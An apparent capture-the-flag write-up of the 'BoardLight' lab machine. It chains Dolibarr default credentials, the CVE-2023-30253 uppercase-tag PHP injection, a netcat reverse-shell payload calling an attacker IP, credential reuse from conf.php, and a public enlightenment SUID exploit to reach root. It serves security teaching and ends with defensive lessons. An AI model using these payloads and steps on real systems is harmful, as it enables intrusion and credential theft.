BoardLight

TL;DR

BoardLight is an Easy-difficulty Linux machine centred on a Dolibarr CRM instance exposed on a hidden crm.board.htb vhost. The application accepts the default admin/admin credentials and runs a version vulnerable to CVE-2023-30253, an authenticated PHP code-injection flaw triggered by an uppercase <?PHP tag, which we leverage for a reverse shell as www-data. Dolibarr’s conf.php leaks database credentials that are reused for SSH as larissa. On the system, a SUID enlightenment binary is vulnerable to CVE-2022-37706, which we exploit to escalate to root.

Enumeration

We start by finding the open ports with a fast scan, then run service and script detection against just those ports:

ports=$(nmap -p- --min-rate=1000 -T4 10.129.231.37 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sCV -p$ports 10.129.231.37

The scan returns:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only two ports are open: SSH on 22 and an Apache web server on 80. Browsing to http://10.129.231.37 loads a corporate marketing site:

Scrolling to the footer reveals the site’s domain, board.htb:

We map that hostname to the target in our /etc/hosts file so we can reach it by name:

echo "10.129.231.37 board.htb" | sudo tee -a /etc/hosts

Virtual host discovery

The main site has little to interact with, so we fuzz for virtual hosts. We use the dnscan subdomains list and filter out the default response size (15949 bytes), which is what the server returns for non-existent vhosts:

ffuf -w ./subdomains-10000.txt -u http://board.htb -H "Host: FUZZ.board.htb" -fs 15949

A single subdomain stands out:

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://board.htb
 :: Header           : Host: FUZZ.board.htb
 :: Filter           : Response size: 15949
________________________________________________

crm                     [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 528ms]
:: Progress: [9985/9985] :: Job [1/1] :: 208 req/sec :: Duration: [0:00:50] :: Errors: 0 ::

We add the new crm.board.htb vhost to /etc/hosts as well:

echo "10.129.231.37 crm.board.htb" | sudo tee -a /etc/hosts

Browsing to http://crm.board.htb presents a Dolibarr login page, with the version — 17.0.0 — printed on the form:

Foothold

Default credentials in Dolibarr

Dolibarr ships with a well-known default administrator account, admin/admin. The CRM accepts it, dropping us onto the admin dashboard:

Authenticated PHP code injection (CVE-2023-30253)

Dolibarr 17.0.0 is vulnerable to CVE-2023-30253, an authenticated remote code execution flaw. Versions before 17.0.1 allow an authenticated user to execute PHP through the website-builder module by evading a tag filter: the application blocks the lowercase <?php tag but not the uppercase variant <?PHP, so a page saved with the uppercase tag is still executed by the PHP interpreter.

First we create a container website. From Websites → +, we give it the name shell and click Create:

Next we add a page. Clicking the + next to Page and choosing Or create page from scratch or from a page template, we set the title to shell (the page name/alias is filled in automatically) and click Create:

On the new page we select Edit HTML Source and insert a payload that uses the uppercase tag to run a command:

<?PHP echo system("whoami");?>

After saving, we click the binoculars icon to preview the page in a new tab. It executes our command and prints the current user, confirming code execution:

Reverse shell

With confirmed RCE, we swap the payload for a reverse shell back to our Pwnbox:

<?PHP echo system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.144 9001 >/tmp/f");?>

First we start a listener locally:

nc -lvnp 9001

Then we inject the payload into the page’s HTML source and save it:

Previewing the page triggers the callback, and our listener catches a shell as www-data:

User

Credentials in conf.php

Dolibarr stores its settings — including database credentials — in conf/conf.php. We read the installation’s config file:

$ cat /var/www/html/crm.board.htb/htdocs/conf/conf.php
<?php
//
// File generated by Dolibarr installer 17.0.0 on May 13, 2024
//
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
...

This gives us a plaintext database password, serverfun2$2023!!.

Password reuse over SSH

We check which local users have a login shell:

$ cat /etc/passwd
...
larissa:x:1000:1000:larissa,,,:/home/larissa:/bin/bash
...

The only non-service account is larissa. Passwords are often reused across services, so we try the database password for SSH:

ssh larissa@board.htb

With the password serverfun2$2023!!, we get a shell as larissa and read the user flag:

$ cat user.txt
7ed*****************************

Privilege Escalation

We first check larissa’s sudo rights, but the account is not in the sudoers file. We then look for SUID binaries, which run with the file owner’s privileges:

find / -type f -perm -4000 2>/dev/null

/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/vmware-user-suid-wrapper

The enlightenment entries stand out — it is the window manager installed on the box. We check its version:

enlightenment --version

...
Version: 0.23.1
E: Begin Shutdown Procedure!

SUID exploitation in enlightenment (CVE-2022-37706)

Enlightenment 0.23.1 is vulnerable to CVE-2022-37706, a local privilege escalation in the SUID enlightenment_sys binary. It mishandles paths that contain spaces when mounting, letting a crafted path run an attacker-controlled command as root. We use the public exploit at MaherAzzouzi/CVE-2022-37706-LPE-exploit.

We download the exploit on the Pwnbox and copy it over with scp:

scp ./exploit.sh larissa@board.htb:/home/larissa

On the target, we make it executable and run it:

chmod +x exploit.sh
./exploit.sh

The exploit abuses the SUID binary and drops us into a root shell, from which we read the root flag:

# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
********************************

Lessons Learned

• Change vendor defaults before exposing a service. Dolibarr’s shipped admin/admin account opened the entire chain. Default credentials are the first thing an attacker tries — rotate every administrative password at install time.
• Patch known-vulnerable web applications. Running Dolibarr 17.0.0 left the box open to a public, version-specific RCE. Keep internet-facing applications on supported, patched releases, and don’t rely on weak tag filters for security.
• Don’t reuse secrets, and protect config files. A database password sitting in conf.php became SSH access because it was reused for a system account. Use distinct credentials per service, and restrict read access to files that store secrets.
• Audit SUID binaries. A single vulnerable SUID binary (enlightenment_sys) turned a normal user into root. Keep desktop and system packages updated, and strip the SUID bit from binaries that don’t need it.